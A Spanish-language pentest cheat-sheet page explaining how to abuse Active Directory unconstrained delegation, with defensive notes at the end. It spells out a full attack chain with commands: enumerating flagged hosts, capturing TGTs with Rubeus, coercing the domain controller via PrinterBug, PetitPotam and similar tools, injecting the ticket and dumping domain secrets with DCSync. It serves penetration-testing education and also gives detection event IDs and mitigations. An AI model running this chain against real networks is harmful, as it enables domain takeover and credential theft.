the_open_door
café
ESEN
← Volver al índice

Unconstrained Delegation

ATT&CKT1558
Arsenal completo de comandos en la cheatsheet

La delegación sin restricciones (unconstrained delegation) es una configuración heredada de Active Directory que, cuando controlamos el equipo que la tiene, permite robar el TGT de cualquier usuario que se autentique contra él, incluido el de un controlador de dominio. Combinada con coacción de autenticación es una vía directa a la toma del dominio.

En qué se basa. Un equipo marcado como trusted for delegation (flag TRUSTED_FOR_DELEGATION en userAccountControl) recibe, dentro del ticket de servicio que le presenta un usuario, una copia reenviable del TGT de ese usuario. El servicio la guarda en memoria (LSASS) para poder actuar en su nombre contra otros servicios. Si somos administradores de ese host, extraemos esos TGT y suplantamos a sus dueños.

Cómo se ejecuta. Primero se localizan los equipos con la flag, luego se monitoriza y extrae el TGT mientras se fuerza que un usuario interesante (el DC) se autentique con una técnica de coacción.

Enumerar equipos con delegación sin restricciones

Get-DomainComputer -Unconstrained | select name
findDelegation.py -dc-ip <ip> <domain>/<user>:<pass>
netexec ldap <ip> -u <user> -p <pass> --find-delegation

Capturar el TGT y coaccionar

Rubeus.exe monitor /interval:5 /nowrap        :: capturar TGTs entrantes en el host comprometido
SpoolSample.exe <DC> <host-comprometido>       :: PrinterBug: forzar al DC$ a autenticarse
Rubeus.exe ptt /ticket:<DC-tgt.kirbi>          :: inyectar el TGT del DC$

Variantes de coacción desde Linux (cualquiera fuerza el DC$ hacia el host con la flag):

printerbug.py <domain>/<user>:<pass>@<DC> <host-comprometido>
PetitPotam.py -u <user> -p <pass> -d <domain> <host-comprometido> <DC>
coercer coerce -u <user> -p <pass> -d <domain> -t <DC> -l <host-comprometido>
dfscoerce.py -u <user> -p <pass> -d <domain> <host-comprometido> <DC>

Usar el TGT del DC$

export KRB5CCNAME=<DC>.ccache
secretsdump.py -k -no-pass <DC> -just-dc            # DCSync con el ticket del DC$

SpoolSample (el PrinterBug) obliga al DC$ a conectarse a nuestro host; su TGT cae en la captura de Rubeus monitor. Con Pass-the-Ticket inyectamos el ticket del DC$ y ya podemos hacer DCSync.

Frente a la constrained. A diferencia de la delegación restringida, aquí no hay lista de servicios permitidos: el host cachea el TGT completo, así que el impacto es mucho mayor y por eso Microsoft la desaconseja.

Cómo detectarlo. Vigilar la creación o cambio de la flag TRUSTED_FOR_DELEGATION (Event ID 4742, se cambió una cuenta de equipo) sobre cuentas que no sean servidores conocidos, y las autenticaciones anómalas de una cuenta de máquina de un DC hacia un host que no es DC (4624/4768), típicas de la coacción previa. Un DC$ pidiendo o presentando tickets fuera de su patrón habitual es la señal.

Defensa. Marcar las cuentas sensibles como «la cuenta es importante y no se puede delegar» o meterlas en Protected Users, minimizar los equipos con delegación sin restricciones (migrar a RBCD o restringida) y deshabilitar el Print Spooler en los DC para cortar el PrinterBug.

Herramientaskrbrelayx